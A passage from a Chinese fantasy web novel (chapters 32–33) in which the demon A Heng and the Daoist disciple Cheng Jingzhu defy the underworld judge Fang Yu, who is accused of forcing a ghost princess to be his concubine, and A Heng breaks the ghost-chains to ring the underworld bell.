那些鬼差大多生着人的身子,鸟兽的脑袋,身上穿着死气沉沉的衣裳,一个个都阴冷极了,他们领了命,便去打发那些僧道,有个老道“哎哎”两声:“我还没来过阴司,瞧一瞧有什么的?何必急催着走呢?” “过几年你死了,下来随便瞧!” 那牛头鬼差语调毫无起伏,推搡着他们赶紧顺着甬道出去。 “哎你怎么说话呢?” 那道士骂道,就是不肯走。 有个鸟脑袋的鬼差凑近阿姮,阿姮看他头上羽毛光滑极了,抬手拔下他一根鸟毛,那鸟头鬼差“哎哟”一声,对上她含笑的目光,他却摸着鸟脑袋沉默了一下,回头看了看座上正襟危坐的判官,随后略过她,对程净竹道:“走吧!活人赶紧走!” “不行。” 阿姮拍了拍他的脑袋,鸟头鬼差不知道为什么浑身都僵硬了,他缓缓转过头,只见阿姮笑盈盈地拉住那黑衣少年的手,说: “我不走,他也不走。” 第32章 第32章 阿姮抬起头,他的脸近在咫尺…… 四周鬼火营营, 幽绿的光影点缀在那块石匾上,匾上像是被鬼爪生凿出来的篆字——“极幽府”,笔划扭曲锐利,此正是阴司之中判官方狳的正殿。 那鸟脑袋鬼差忌惮阿姮浑身妖气, 不敢妄动, 只得望向那石匾底下, 判官座上的方狳,方狳不愧是名传百世的人间悍将,浑身上下一股杀伐造就的威严, 他先是审视了一番阿姮, 又看向那黑衣少年:“上清紫霄宫的弟子, 回阳间去吧, 这里不是你的道场。” 程净竹挣开阿姮的手,衣袖擦过阿姮手背, 阿姮一下转头看向他, 只见他与方狳相互审视,又听他道:“方判的意思是我可以走, 她却不能?” 他口中的“她”正是阿姮。 阿姮不由看向那判官座上的方狳, 而方狳的目光则恰好在此时从程净竹身上挪到她的脸上, 他道:“虽说我阴司只管生魂轮回, 其他的事都与我们无关, 可阎王早有示下,凡擅闯阴司之妖邪,必受火刑, 烧他个灰飞烟灭!” 灰飞烟灭? 阿姮立即想到方才的峣雨,这似乎正是小神仙所说的,天上地下, 永远消失的意思。 霖娘一下清醒许多,她站到阿姮面前,问那判官方狳:“若不是忽然地陷,谁会来这儿?阿姮又不是自己闯进来的!” 霖娘没了皂纱遮掩,见那方狳打量的目光落来,她忽然瑟缩一下,又躲去阿姮的身后,而方狳则盯着她身上的珍珠云肩,愣了一下,他心中怀疑那云肩似乎是上界之物,却又有些不太确定,若真是上界宝物,又如何会在这小小水鬼身上? 还不待方狳细问,那边甬道里杂声渐盛,那十来个僧道迟迟不肯离去,而甬道中此时又有鬼差押来一众鬼女。 春梁正在其中,她与晴芸互相搀扶,鬼女们起初还有些惊惶,但见极幽府内被烧红的铁镣铐锁住四肢的璇红,她们猛然推开鬼差,全都扑了过去。 “璇红姐姐!” 晴芸踉跄地扑倒在地,抬起头便看见璇红被反复烫烂皮肉的脚踝,鬼魂早就失去了血肉皮囊,是绝不会流血的,但因为她曾是活人,所以她具有完全的五感,这样的刑罚,正是在用她的痛觉反复不断地惩罚她。 晴芸想帮她脱困,可手方才触碰道她脚踝的镣铐,手掌便被整个烫烂,春梁一下抓住她手腕,惊慌地喊:“晴芸姐姐……” 璇红原本意识涣散,听到一众鬼女的哭叫,她方才清醒了一些,抬起那张惨白的脸,她幽幽盯住判官座上的方狳,却对阿姮笑道:“阿姮姑娘,你若落在阎王手里,你一定会灰飞烟灭,但若你落在他手里,却还有另一条生路。” 阿姮与霖娘都不知她在笑些什么,但站在一边的程净竹却忽然抬起眼帘,盯住座上判官,方狳一时与这黑衣少年相视,竟无端感到一股深邃的冷意。 “什么意思?” 阿姮好奇地问璇红。 璇红笑声阴冷:“都说人若冤死,做鬼必定执念深重,像我这样的,死在万艳山,借山阴遮身,鬼差找不到我,我便成个孤魂野鬼,可我记得那日,照雪坡上我与一百来个女子一齐被割下头颅,那时天阴雪冷,我们亲眼看着自己身首异处,却无鬼差来收容残魂,过了三日,又是大雪,有二名鬼差忽然出现在万艳山上,他们挖出我被雪遮盖的头颅……” 璇红仍记得那日鹅毛大雪纷纷扬扬,那二名鬼差,一个羊头,一个鹿首,他们从积雪底下挖出一颗又一颗的头颅,认真与手中的画像比对,那鹿首鬼差在雪下摸了很久,终于摸出一颗头颅,乌黑沾雪的发,被薄冰覆盖的惨白皮肤,那是一张被冰封的美人面,那羊头鬼差认真地将这颗美人头与画像上女子的五官比对,随后点点头:“不错,是她。” “因为我头七还没过,我的头颅上还残留有我的魂气,他们就借我的头颅,还有我曾经的旧物,找准我的生魂,将我硬勾了去,落到阴司,就在这极幽府!” “哎?贫道听说过这种勾魂的办法,若要准确地找到那孤魂野鬼,除了头颅之外,还要生前旧物……头颅也许容易些,可旧物却不是那么容易得的,何况天都那时遭过大难,不要说寻常百姓之家,就是公卿王侯,哪个没来得及跑的,都被那反贼冯寅给杀了个家破人亡,说是屠城也不为过,何况郡主这样的身份,那样的时局,什么旧物只怕都难找了,不知方判为何如此费心呢?” 有个老道忍不住插嘴问道。 判官座上,方狳睥睨璇红。 “方狳,你说啊,”璇红被烫过的皮肤又恢复完好,又因为她笑起来,身体颤动,四肢再度被烫烂皮肉,但她仍然在笑,“你那张判官嘴,不是铁齿铜牙吗?你告诉他们,你费尽心机找我,然后霸占我,强逼我为鬼妾。” “……什么?” 一帮僧道都以为自己听错了,一时间面面相觑,那老道更是掏了掏耳朵,不敢置信:“我说璇红郡主,方判堂堂判官,怎会如此?!” “哈哈哈哈哈哈……”璇红的笑声逐渐悲怆,她双目通红,“若不是峣雨,峣雨……” 璇红忽然朝左边看去,阿姮也顺着她的目光看去,阴司之中,鬼火不亮的地方,便是黑漆漆一片,连阿姮这双妖邪的眼也看不到那片黑暗中到底有什么,却听璇红颤声道:“那边,无数罪无可恕的恶鬼化在里面,成为极幽泉,方狳将万艳山与极幽府相连,以至于峣雨无法越过极幽府去往阎王殿,峣雨她……没有办法,便跳入极幽泉,冒着融化在泉水里的危险,敲响了泉心的那口大钟,那钟声穿过不幽林,惊动了阎王……方狳虽在阎王面前粉饰了过去,但他知道若不放我,峣雨绝不会善罢甘休,所以,他才答应峣雨,放我回万艳山。” 这么多年来,璇红从未忘记过那一日,她亲眼看到峣雨的一只手都快化在那泉水里了,恶鬼哀嚎着,啃噬着她的身体,可她依旧游向泉心,整个身体不断撞向大钟,一声,又一声,厚重的钟声响彻阴司。 “方狳,你一日不放她,我便一直在这极幽泉中,只要我神魂不化不融,我便要这钟声常震阴司!” 那日,峣雨曾这样说道。 峣雨总是这样,生前,面对叛军,不哀不怕,死后,面对阴司判官,亦不卑不惧。 那些僧道似乎都被璇红的话给震住了,他们无论如何也不敢相信,这位四大判官之首的方判,竟然,竟然能做出此等抢占女鬼为妾的事来? “哦,你的意思是,他也想让强占我,做他的妾?” 阿姮其实不太明白“妾”是什么。 霖娘憋不住,脱口:“真不要脸!” 鬼差们都小心翼翼地看向判官座上的方狳大人,他神情似乎很平静,没有任何盛怒,只等那些僧道叽叽喳喳的议论声小了些,他盯着阿姮看了会儿,缓缓道:“本官立身阴司,一向秉公执法,从不偏私,只不过是一些微不足道的小爱好而已,阎王不会在乎。” 阿姮很讨厌他那双看过来的眼睛,她指尖红云跳跃,却忽然被身边的黑衣少年一把拉到身后,红云顿时被压灭,阿姮抬起头,看不到方狳那把黑漆漆的大胡子,只看到程净竹颀秀的背影。 “若真是微不足道,那方判当初又何必与峣雨妥协?” 程净竹说道。 “谁说那是妥协?”方狳与他相视,“只不过我怜惜她们深仇未雪,可我阴司不许插手人间事,只能放她们回去,让她们自己化解自己的执念罢了。” 方狳抬眼一扫,活人还是太多了,他双目幽冷:“本官早让你们走,你们却执意逗留,如今本官却是不能立即放你们走了。” 众人神情一凛,还没来得及反应,只见方狳抬袖一挥,鬼火摇曳,极幽府中烟气弥漫,转瞬之间,所有的活人全都随烟化烟,一朝飘散。 阿姮身前的黑衣少年也顷刻消失不见,她抬起手只碰到那一缕轻烟,钻过她指尖,流散往左,不见了。 “你做了什么?” 阿姮暗红的眼倏尔盯住那判官座上的方狳。 方狳似乎欣赏了一瞬她的眼睛,而后才道:“只是送他们去不幽林。” 阿姮不知道什么是不幽林,璇红却看着阿姮,道:“不幽林中全是鬼木,全是犯过烧山放火之罪的鬼被种在那里,长出根须,化为林木,活人若是去了不幽林,会被鬼木吸去精气,丢失心窍,变得病弱痴傻,阿姮姑娘,这样的人,不会情动,也就……金身难破了。” “金身难破”四字,璇红几乎无声,但阿姮看着她的嘴唇,还是读懂了。 这时,忽然有个羊头鬼差跑来,他满脸水泡,战战兢兢地禀报:“方狳大人,不好了!那,那水鬼跑了!” 方狳面上终于有了些波动:“你说什么?” 那羊头鬼差道:“小的特地将他关押在那巨大的油锅边,那小子分明吓得浑身都滴水!小的转个头的工夫,他就跳进油锅里,爬过锅边,往崖下跳!” 莫说是羊头鬼差,便是这极幽府中其他鬼差,这么多年,哪个见过主动往油锅里跳的鬼? 那羊头鬼差一点也不敢碰自己脸上的水泡,还有些惊魂未定:“他浑身都是水,一钻锅里,就炸出来好多油花……” 方狳一下站起来,才从案后出来,要下阶,却见那红衣少女抬手之际,她发间木簪转瞬化为手中焦枝,那枝尖飞快在璇红四肢点了几下,红彤彤的铁镣铐便齐齐断裂,落在地上。 阴司阴气太重,又有重重禁制,所以方才那些活人僧道即便施展道术,作用也微乎其微,禁制乃是上界所设,他用专门的法诀便能使阴司四方之气为他所用,将那些人挪去不幽林。 而方狳眼前这个红衣女子是妖邪,虽不受阴气所扰,但阴司铁索亦有降妖除魔之用,邪魔无不忌惮。 可她却用她手中的焦枝,轻易化解。 “你手中那是什么?” 方狳沉声问道。 那焦枝金光熠熠,分明不是凡物,却在这妖邪手中。 阿姮手持焦枝,身化红云,瞬息去到他面前,方狳迅速侧身躲开那锐利的枝尖,他抬手之际,一只判官笔显现手中。 此时璇红生出尖利指甲,朝他扑去,方狳一笔划断她一截指甲,而阿姮亦不依不饶,万木春枝尖横扫过去,堪堪擦过方狳脸皮。 晴芸与一众鬼女们也与鬼差们缠斗一团。 霖娘将春梁护在身后,不断用水波拍打鬼差,极幽府外,甬道中更多的鬼差奔来,一时间,更多鬼火如簇亮起。 方狳曾是一国名将,悍勇非常,然而越与阿姮、璇红二人过招他便越是心惊,阿姮周身的红云烈焰四散出去,整个极幽府被暗红的火焰燃烧。 防御玉笔一挥,将璇红打出去,再反手探向阿姮,却还没有触碰到她,她便顷刻化为红雾,又迅速在他身后凝聚身形,万木春枝尖横擦他颈项,划出一道口子。 方狳乃是鬼魂之身的判官,没有皮囊,自然不会流血,却散出点点金霜,他瞳孔微缩,迅速避过身去,只见那焦枝飞出去,在四周嶙峋石壁上来回碰撞几圈,顿时地动山摇,尘灰四起。 焦枝很快落回阿姮手上,她趁璇红袭向方狳的刹那,找准方狳避开的时机,身化红云涌上去,方狳到底曾是个身经百战的将军,他敏锐地用玉笔抵挡阿姮的攻势,却生生受了璇红一掌。 极幽府中剧烈的震动使得鬼差们几乎站不住脚,又不得不与鬼女们撕打,一时间石头滚落得到处都是,烟尘弥漫。 方狳显然低估了如今的璇红,他不知她为什么变得这样强,他更加低估了阿姮,她神出鬼没地用那焦枝连点他四肢,使得他身上破口无数,金霜流散。 方狳想挣脱二女的纠缠,飞身往案上去,阿姮见状,立即掷出万木春,方狳侧身躲过,那枝尖狠狠钉入石匾之中,石匾很快裂痕蜿蜒,碎成两半往下砸到方狳身上,方狳踉跄着险些跌下石案,却见红雾幽幽浮浮,猛然将他擒住。 红云烈焰灼灼燃烧,缠住他的四肢,他顷刻被烫得皮开肉绽,金霜如缕,方狳吃痛,瞪大一双凶悍的眼,只见石阶之下,那红雾凝成女子的身形,四下鬼火幽幽,映照她苍白而明艳的脸,她手指微勾,那焦枝瞬间回到她手中,此时,周遭纷乱,这里已经不复威严,只有山塌石倒的一片狼籍。 “你为何会有上界之物!” 方狳盯住她手中的焦枝,他并不识得那是什么法器,因为他身为判官,并不算是神仙,只是个鬼职罢了,他对上界所知不多,却也能辨得出那其貌不扬的东西远比他想象中的要更加强大,他喘息着:“你在此作乱,若是放跑了牢中恶鬼,人间会有灾祸的!” 阿姮才不管什么灾祸不灾祸,她用枝尖轻点方狳的胡须,枝尖的金芒烧得他胡须发出一阵焦臭味,阿姮缓缓道:“把那个上清紫霄宫弟子还给我。” 满洞红云跳跃,鬼差们被烧得连声哀叫,方狳明显感觉那枝尖刺破他的魂皮,一团流火在他身体里不断乱窜,他疼得额角青筋跳动,却冷笑:“本官身为判官,岂会受你威胁?” 阿姮没动,一簇红云却狠狠抽了方狳一巴掌,他脸上顿时显出被灼烧过的痕迹,方狳咬紧了齿关,怒目相视。 红云连连灼烧过方狳的脸,他的脸渐渐的没一块好皮,肿胀非常,金霜不断流淌而出,但他却始终不漏一字。 阿姮眉目之间戾意横生,她一脚踢在方狳腹部,方狳整个身躯顿时撞上石壁,摔落下去,四处燃烧的烈焰将他整个人包裹,燃烧,他忍不住发出痛叫:“啊啊啊!” 阿姮转过脸,只见左边早就被鬼火照亮,那边果然是一汪泉水,水很清澈,似乎见底,她几步奔过去,却忽然被一只冰冷的手抓住腕骨,阿姮回过头,对上璇红的目光:“放开。” “你不知道极幽泉的厉害,不论是活人还是鬼,若入极幽泉,超过一个时辰,便会融化其中,妖邪也一样,若超过一个时辰,必会融筋断骨。” 璇红没有松手。 极幽泉历经千年万年,其中被融化的鬼魂不计其数,不论是谁,一旦落下去,就像落进泥沼里,泥足深陷。 “阿姮姑娘,不就是一颗心吗?再找一颗更好的就是。” 璇红看着她:“不值得。” 阿姮垂眸看向璇红握着她腕骨的手,她鲜红的指甲艳丽极了,与她惨白的皮肤形成鲜明的对比。 更好的? 会有比他更好的吗?会有比他更芳香的血气,比他更完美的心脏吗? 阿姮挣开她的手:“我就要他的。” 霖娘与春梁待在一块,刚用水波打晕一个鬼差,抬头却没见到阿姮,她四下一睃,只见粼粼鬼火中,阿姮奔向那片幽绿澄莹的泉水,霖娘双眸大睁,她脚比脑子更快,往泉边奔去:“阿姮!” 阿姮置若罔闻,跑到极幽泉边,纵身一跃,碧浪涛涛。 霖娘只摸到她一寸衣角,霖娘身躯前倾却没抓住,她将要跌下去的刹那,璇红迅速将她抓起。 “霖娘……” 春梁忙跑过来拉住霖娘的手,而霖娘却怔怔地盯住那泉水。 澄莹的泉水因为阿姮的纵身一跃而陡然显露它浑浊的本相,水波化为一张又一张狰狞的面目,张大嘴巴,相互撕咬。 从岸边望去,曾经峣雨敲响过的那个阎王设在四府的铜钟已然被铁索封住,谁也触碰不到,而无论是霖娘,还是璇红及一众鬼女,此时此刻,她们都看不到阿姮的身影。 阿姮凫在水下,化为淡雾游动,那些水波化成的鬼面总能咬上她几口,它们嘶吼着纠缠她,仿佛因为它们自身的痛苦,所以才不放过任何落入水中的人,他们要将无尽的痛苦也分享给她,她打散它们,它们又很快凝成新的面目,扑咬过来。 前面的雾很浓,阿姮仔细辨明方向,但她不知道哪一边才是不幽林,阿姮试图浮向空中,但极幽泉有一种莫名向下压的气流,她没有办法掠去空中。 阿姮不知道游了多久,她觉得自己的壳子变得很重,那些鬼面仍然在啃咬着她,她散开红云,烈焰在水下燃烧,水面冒起颗颗水泡。 不幽林中,几乎不见光,程净竹坐在水岸,十来个僧道就在他身后,各自占一个阵角,撑起来一道金光阵法。 “小友,你这阵法我们从没见过,真行吗?”有个道士看一眼阵法外,阴森青黑的鬼木如林,那些树枝颤动着,不死心地纠缠阵边,他心中突突地跳,忍不住问那黑衣少年。 “都这个时候了!我们道法在阴司本就微弱,你若再本心不坚,再有用的法子也都没什么用处了!” 那老道怒声呵斥。 众人闻言,心中一凛,知道无论如何都只能这么一搏了,他们赶紧收敛心神,稳住本心。 程净竹始终闭着眼睛,他手中结印,握着一道白符,掌心被他用法绳划开了一道口子,鲜血几乎快要染红白符,符上如簇的金焰支撑着金光阵法不断运转。 周遭林木晃动犹如鬼影重重,阴冷的风擦过每一个人的脸颊。 程净竹胸口忽然剧痛,他握着白符的指节顷刻收紧,手背青筋分缕鼓起,眼睫颤动一下,他呼吸乱了一瞬,忽然睁开眼,只见极幽泉水面忽然浮出一颗颗水泡,那些水泡打散一张张凝聚起来的鬼面。 忽然之间,水下轰然炸起千层水浪,暗红的光与缕缕金芒交织铺满整片水岸,僧道们不由大睁起眼,惊异地望向水面。 程净竹看到水下红雾如缕,他眼睑微动,下一刻,红雾转瞬来到岸边,水面忽然破开,露出女子一张苍白的脸。 她乌黑的发髻松散许多,微卷的浅发贴在耳侧,髻边珍珠流苏微微晃动着往下滴落水珠,她手中捧着一颗蓝色的珠子,散发着柔和的光芒。 “小神仙,这珠子在水下好有用啊,”她在水中望着他,露出笑容,“我找到你了。” 那颗珠子,正是她在黑水村,从泥妖那里抢来的那颗,光润莹莹,照得水下水上一片通明。 她并不知道自己精心爱护的壳子破了多少个口子,只见岸上黑衣少年因手中结印而不能动一下,他深深凝视她,额头那颗红痣却不知为何竟然又忽然破开一道裂口,鲜血如滴,顺着他鼻梁,滴落水中,在她面前晕开变淡。 “你过来做什么?” 他声音冷极了,却隐隐流露几分焦躁。 “你……” 阿姮愣愣地望着他,方才张口,而因为那滴血,水中无数鬼面再度疯狂凝聚,撕咬,而她手中万木春金芒一闪,激起千层浪涛,阿姮只觉得腰间一紧,鬼面不断啃咬她的脚背,却没能留下她,阿姮整个人被那东西带出水面,跪坐在少年面前,绯红的,湿润的衣角与他漆黑的衣角相叠,她双手撑在地上,低头看向自己腰间那条银色的法绳。 法绳上的珠饰不断晃动,碰出清音。 法绳要为他护法,所以只抽出一半从水中将她抓起来,尾端仍缠在他腰间。 阿姮抬起头,他的脸近在咫尺。 第33章 第33章 “我有说过,要给你吗?”…… 宝珠被阿姮按在掌下, 幽蓝的光湮灭,只有头顶转动的金阵散发出金色的光芒,淡披一层在阿姮身上,她鬓发湿透, 晶莹的水泽不断顺着她耳边往下滴, 顺着她颈项没入她绯红的衣襟, 她脚上的绣鞋早不知哪里去了,一双赤足苍白,纤细的脚踝裂□□错, 却并不像人类一样渗血, 只有淡淡的水痕。 阿姮望着近在咫尺的黑衣少年, 他低垂着浓密的眼睫, 与她静默相视,他眉心的血痕里隐隐闪烁金芒, 星星点点的血迹沾染他高挺的鼻骨, 阿姮已经失去了嗅觉,可属于他血气的那种芳香仿佛已经刻入她鼻息, 她依然感受得到, 所以忍不住为此而唇焦口燥。 千丈浪涛扑落水中, 无数狰狞的面目在泉水中碰撞出痛苦的, 愤怒的水声, 整个不幽林中鬼木林立,扭曲的枝条不断纠缠,击打金阵, 风雾阴冷而浑浊,鬼哭声声。 法绳松开了阿姮,盘踞在程净竹身边为他护法, 阿姮暗红的眼眸从他沾血的眉心缓缓移去他握着符咒的那只手。 白符浸满了血,已彻底变成一张血符。 从阿姮的角度,只能窥得他掌中那道血口子的边缘,血流淌至他腕骨,颗颗滴落,阿姮忽然凑上前去,她的唇触碰到程净竹手掌的刹那,他浓而长的眼睫微动,紧接着他感受到阿姮的舌尖轻轻划过他掌心的伤口,痒而刺痛,程净竹瞳孔一紧,他嗓音冷若冰霜:“阿姮。” 一帮僧道得见此情形,有好几个年轻的道士眼见阿姮苍白而纤细的颈项,一副美艳绝尘的皮相,险些道心不稳,此时见她竟然,竟然又…… 真是难以启齿啊! 几个年轻道士眼睛瞪若铜铃,那老道与几个僧侣则紧闭双目,面皮都皱成一团,老道嘴里磕磕绊绊地念:“非礼勿视,非礼勿视……” 程净竹常常唤她“阿姮姑娘”,这四个字中,总是蕴含一种难以逾越的距离感,阿姮说不清那距离到底有多远,也许是天与地之间那么远,又或者是黑水村与外界之间那么远,他只有会在忍无可忍的时候,生气的时候,直接丢掉“姑娘”两个字,这是危险的警告,可阿姮面对这种危险的口吻,却反而得寸进尺地用齿尖轻轻咬住他的手,有恃无恐:“太浪费了。” 他的血,他的心脏,迟早都是她的囊中之物。 哪怕只是他的一滴血,她也不要这些不幽林的鬼木占得半分便宜。 她说话间唇齿还抵在他掌心,柔软的嘴唇贴着他掌中的伤口,她的声音都因此而变得有些模糊,程净竹垂眸睨她,口吻漠然:“我有说过,要给你吗?” 他当然没有,他总是那么小气,阿姮拧起眉头。 “咳咳咳咳咳咳咳咳!!!” 眼见几个年轻的后生脸颊爆红,简直快要头顶冒烟,那老道忽然猛咳起来,咳得嗓子都劈成了破锣嗓子,又冲程净竹喊道:“小友!她她她是妖啊!咱们道心千万要稳哪!” 程净竹因结阵而不能妄动,但阿姮垂眼,可惜似的,凝视他掌心的血痕,终究没敢再多舔舐一口,她抬起脸,视线越过程净竹,幽幽看向他身后那老道。 老道被她这一眼激出一身冷汗,岂料阿姮却不过只是瞥他一眼,随后又望向头顶金阵,问道:“这是什么?” “这,这是祝神阵……” 有个年轻的道士红着脸抢答:“程玄友说,此阵是叩祝神仙之阵,只要在符咒上写明神仙名号,便有机会与此神通灵。” 老道士骂他:“你小子清醒点吧你!瞧你那副俗根未断,不值钱的样子!” 那小道士小声反驳:“这位姑娘为救程玄友,连极幽泉都能趟得,即便是妖,也是个好妖吧……” “你这崽子还是太年轻了,”那老道冷哼一声,倏尔盯住阿姮,意味深长道,“妖就是妖,妖比人更容易沉沦欲望,却很难懂得真情善恶,只有极少数至慧至坚之妖,方能遏制本能,克服欲望,辨真情,明善恶。” 但老道凝视着阿姮唇边的血迹:“你怎知她心中到底装着什么目的。” 他看穿她的贪婪。 阿姮与他相视,漆黑的眼底闪动暗红的光,危险的气息几乎引得老道浑身汗毛倒竖,但又仅仅只是这一眼,她轻飘飘地挪开目光,仰望金阵中流转的字符,她不认字,却道:“你们是想通过此阵与阎王通灵?可那大胡子说,阎王不会在乎他那些微不足道的小爱好。” 那大胡子,显然便是那方狳判官。 “若真微不足道,”程净竹抬起眼帘,望向极幽泉中,那口大钟被道道铁索缠紧,几乎密不透风,“方狳又何必封了它。” 阿姮也看向泉心那口钟:“既然峣雨曾用它惊动了阎王,你们又何必在此试什么祝神阵,直接弄断那铁索,敲响那口钟不就行了吗?” “阴司禁制重重,我等道法受限,若能去得泉心,早就自己找路回到极幽府中去了!”那老道口气十分不善,“即便真能有办法到泉心去,那铁索也不是一般的东西,我观那上面鬼气森森,显然是用十恶不赦的狞鬼铸成的,一环铁索即一狞鬼,自有滔天怨戾,别说弄断锁链,活人一旦靠近,便会被他们吞吃入腹!” “是吗?” 阿姮回过头来,看向他,语气慢悠悠的:“那我把你扔过去试试,看看那些狞鬼到底能不能一口将你吃掉。” 那老道头皮一麻,怒目圆睁。 不幽林中鬼木扭动着枝条,它们显然已经忍耐不了,更加疯狂地攻击起众人的金阵,一时四周“锵锵”作响,阿姮抬头,立即抛出万木春,那枝尖灿若金石,扫向四周,斩下无数张牙舞爪的枝条。 鬼木们被这神兵所慑,一时间枝影瑟瑟,踌躇着不敢轻举妄动,但它们实在是又饥又渴,谁也不甘心放过这些现成的活人精气,它们始终阴寒地注视着他们。 那老道眼见焦枝飞回阿姮手中,他神色狐疑,实在有些难以相信,这女妖手中的兵器竟然是一件神物! 重重鬼木散发着难闻的烟气,阿姮不太确定璇红所说的,造成活人痴傻的缘故到底是不是这股诡异的烟气,鬼木枝条不能探入阵中,可这烟气说不定什么时候便会找到空子钻进阵中,阿姮有些焦躁,对面前的少年道:“我这就去将那狞鬼锁弄断。” “阿姮姑娘。” 程净竹叫住她。 紧接着,一层淡光笼罩阿姮身上,她低眼,只见身上多了一件黑色的衣袍,柔软莹润的衣料还残留和煦的体温,她抬起脸,只见程净竹身上只余雪白单袍,水青的宝珠压在洁净的襟前,他仍然维持着结印的手势,纹丝未动,只对她道:“极幽泉是阴司对恶鬼的惩罚,也是对活人与妖邪的警告,上界有上界的戒律,阴司有阴司的威严,你若再入极幽泉,必然融筋断骨,永难脱身,就像你曾经挣不脱赵霖娘的皮囊一样。” 万物相生相克,神仙各有道法,正如霖娘虽仅仅只是土地血脉,可她的血肉皮囊却也可以在关键时刻画地为牢,困住阿姮这个妖邪。 极幽泉也是这样的道理。 恶鬼狞鬼或许并不算可怕,但万鬼融化而成的极幽泉却偏偏可以克制擅闯阴司的活人,甚至是她这个妖邪。 阿姮用手指勾着身上漆黑的衣带:“所以你给我你的衣服,就可以吗?” 程净竹颔首,道:“方狳私自加设五行阵法,阻断了万艳山通往阴司的所有路径,祝神阵行不通,我们在此换阵破他的五行阵,你去断狞鬼锁,敲钟震宇。” 阿姮没什么犹豫,点点头,双臂一展,一双苍白而纤细的手从漆黑宽大的衣袖中探出,她起身,岸边阴寒的风吹得宽袖猎猎,她足下生雾,氤氲之间,飞身掠去,只觉周身轻盈,那股无形下压的锋利气流竟然擦着她肩背而过,视她于无物,她此时方才明白过来,程净竹不是出不了不幽林,也不是渡不过极幽泉,只是他不愿坐视那些僧道被不幽林中的鬼木白白吸去精气。 “小友,你如何敢信一个妖邪?” 那老道见阿姮身披程净竹的宝衣而去,不由张口道。 “与你无关。” 程净竹语气淡淡,他瞥一眼融入浊雾中的那道模糊的影子,他双指间的血符燃起金焰,在他指尖瞬息烧尽,一道白符从他袖中飞出,重新被他捏在指尖,金芒在白符上跳跃,光影映照他澄若静水的双眸:“诸位,换阵。” “……”老道一口气憋下去,立即与众人变换咒印,霎时金芒若缕,头顶金阵迅速旋转变换出一个崭新的形态。 极幽泉上气流如虹,它们擦着阿姮周身而过,压向水面扭曲的一张张鬼面,水声即是恶鬼的声声嘶叫。 泉心有个四方的石台,那石台堪堪与那口铜钟一般大小,正好容下它,此时巨大的铜钟被冒着鬼气的森寒铁索紧紧捆缚,缠了一圈又一圈,几乎看不清里面铜钟的全貌,阿姮方才靠近石台,便见石台上下镌刻着繁复的符文,她不认得那些东西,但仅仅只看一眼,她便觉得心烦,而因为她的靠近,捆住铜钟的铁索开始震动,阿姮看到那一环又一环的铁索开始化出一张张阔口肿脸的狞鬼脸,它们毛发围着整颗脑袋长满一圈,蓬乱又肮脏,獠牙森白又利,有个鬼脑袋鼻子耸了耸,怪叫道:“妖怪!是妖怪!” 阿姮没想到它们竟然还能口吐人言,她眼中浮出一分兴味:“鬼脑袋,敲钟用的杵呢?” 她望遍四周,也没见到那钟杵。 狞鬼锁却无一应她,反而扬起一截铁索,无数个狞鬼脑袋双目赤红地冲向她,誓要缠住她,撕碎她。 阿姮手腕一转,万木春锋利的枝尖精准地戳中一狞鬼脑袋,直接从他的血盆大口刺穿它后脑,殷红的血喷涌如注。 即便阿姮丧失五感,但出于对血气天生的追逐,她仍旧感受到了那股味道,只不过是腥臭至极的。 “啊,啊……” 那狞鬼痛得眼珠子几乎要掉出来,满口都是血。 阿姮简直有种想吐的感觉,她臭着脸,手握万木春,翻身跃起,抽出枝尖那颗被穿透的狞鬼脑袋的刹那,血雾弥漫,她生生斩落一截铁索,那铁索“扑通”一声坠入极幽泉中,千层浪起,水波顿时化为千张鬼面,它们兴奋地扑咬起水中相连的狞鬼脑袋,而狞鬼脑袋们也凶神恶煞地啃咬它们。 水中激烈地角逐,铺开层层血红。 缠绕铜钟的狞鬼锁锵然震动,它们爆发出剧烈的怨戾之气,铁索从铜钟上绕下来一圈,数颗脑袋扑向阿姮,像蟒蛇一样缠绕她,一圈圈缠裹,誓要缠她个身首分离,然而铁索猛然收紧的刹那,阿姮的身影陡然散作红雾,它们猝不及防,反将彼此缠住。 颗颗脑袋扭曲相抵,尖锐的獠牙刺中彼此肿胀的脸,鲜血喷涌。 此时,它们听到一阵很轻的笑声,像是在嘲笑它们的笨拙,它们转动滞缓的眼球,只见那淡淡红雾凝成女子身影,她手中焦枝一扬,数颗脑袋残缺不全地落去泉水中,水中血红更甚。 狞鬼们几乎被这少女杀怕了,它们一圈一圈地被她从铜钟上扯下来,她周身的红云烈焰炙烤着它们的皮肤,那焦枝捅穿它们的脑袋,极幽泉上血雾重重,浓重的血腥气弥漫整个极幽府。 被春梁死死抱住的霖娘站在岸边,不知道泉上的浊气怎么忽然间散了,浓重的血腥气迎面扑来,但那是种陈旧的,腐烂的腥臭味道,霖娘被臭得脸色都发青了,她看到极幽泉被血雾笼罩,水面漂浮着无数颗脑袋,它们无一完好,全都皮开肉绽,血肉模糊。 春梁吓得简直发不出任何声音。 璇红看着水面上那些狞鬼脑袋,猛然抬头,没有浊气的遮挡,朦胧血雾中,她似乎看到泉心有一道纤瘦窈窕的身影在水面跳跃,偶尔旋身空中,狞鬼化成的铁索被她抛来抛去,节节断裂,血浪翻飞,狞鬼的哭嚎几乎响彻整个极幽府。 直到极幽泉中的水波再凝聚不起任何鬼面,它们似乎被那些不断掉进水里来的狞鬼脑袋给喂饱了,它们从来没有这样饱餐过,也从来没有这样寂静过。 整个极幽泉,成为死寂的血水。 泉心石台上,巨大的铜钟终于露出它的全貌,它周身镌刻着阿姮看不懂的字,明明是个死物,却莫名有一种巍峨的威严之气,阿姮心中莫名忌惮它,但她暗红的双眼凝视着面前这口大钟,她伸出手去,触摸它冰冷的表面。 此时,不幽林中忽然铺开道道金芒,那熠熠金光散向四方,顷刻照彻阿姮头顶这片嶙峋的石顶,流向极幽府每一个角落。 “阵破了!” 不幽林中,僧道激动的声音隐约可闻。 阿姮转过脸去,此时极幽泉上没有浊气,她隐约看见岸边那少年撑开一片金光法罩,他站在其中,眉目不清,衣袂雪白。 阿姮冥冥之中觉察他的注视。 她垂下眼睛,看遍石台不见钟杵,应该是那方狳将钟杵收了起来,她索性抬手,将万木春对准铜钟。 她周身红云烈烈,万木春焦黑纤细的枝尖重击铜钟的刹那,沉重的钟声骤然响起,道道罡风扑开,顿时山摇地动,飞沙走石。 阿姮不断用枝尖撞击铜钟,“咚咚”的钟声悠悠沉沉地压在每个人的耳中,几乎要刺破人的耳膜,山石坠落,血浪迭起。 整个极幽府陷入剧烈的动荡。 阿姮仍不肯停,万木春敲动巨钟,使得巨钟不断晃动,她又是一枝尖重敲下去,枝尖骤然穿透钟身,裂缝自上而下蜿蜒开来。 